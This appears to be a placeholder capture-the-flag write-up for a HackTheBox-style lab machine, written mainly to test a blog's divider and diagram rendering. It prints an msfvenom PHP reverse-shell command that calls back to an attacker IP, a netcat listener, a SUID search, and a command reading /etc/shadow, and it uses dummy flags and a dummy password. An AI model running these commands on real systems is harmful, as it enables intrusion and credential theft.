Divider Test Machine

HackTheBox Easy

web privilege-escalation suid

Overview

This is a test writeup demonstrating the new Obsidian-style dividers that match the callout styling from Obsidian notes, plus Mermaid diagram support.

Reconnaissance

Started with a basic nmap scan to identify open ports and services on the target machine.

nmap -sC -sV 10.10.10.100

Port Scan Results Found SSH (22) and HTTP (80) open

Initial Access

After enumerating the web application, discovered a file upload vulnerability that allowed uploading a PHP reverse shell.

# Generate reverse shell
msfvenom -p php/reverse_php LHOST=10.10.14.5 LPORT=4444 -f raw > shell.php

# Start listener
nc -lvnp 4444

Shell Access Successfully gained shell as www-data

Privilege Escalation

Found a misconfigured SUID binary that allowed reading arbitrary files. Used this to read /etc/shadow and cracked the root password.

# Find SUID binaries
find / -perm -4000 2>/dev/null

# Exploit vulnerable binary
/usr/local/bin/file-reader /etc/shadow

Security Finding Weak root password detected: password123

Escalated privileges using the compromised credentials:

su root
password123

Root Access Successfully escalated privileges to root

Flags

User Flag: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
Root Flag: z9y8x7w6v5u4t3s2r1q0p9o8n7m6l5k4

Timeline

Here’s a visual representation of the attack path:

graph LR
    A[Nmap Scan] --> B[Web Enum]
    B --> C[File Upload Vuln]
    C --> D[Initial Shell]
    D --> E[User Flag]
    E --> F[SUID Enum]
    F --> G[Root Shell]
    G --> H[Root Flag]

Conclusion

Machine pwned! The Obsidian-style dividers are working perfectly and the Mermaid timeline diagram renders beautifully on the site.

Pwned on: January 22, 2026
Difficulty Rating: ★★★★ (Personal rating)
Fun Factor: ★★★★★ (How enjoyable was it?)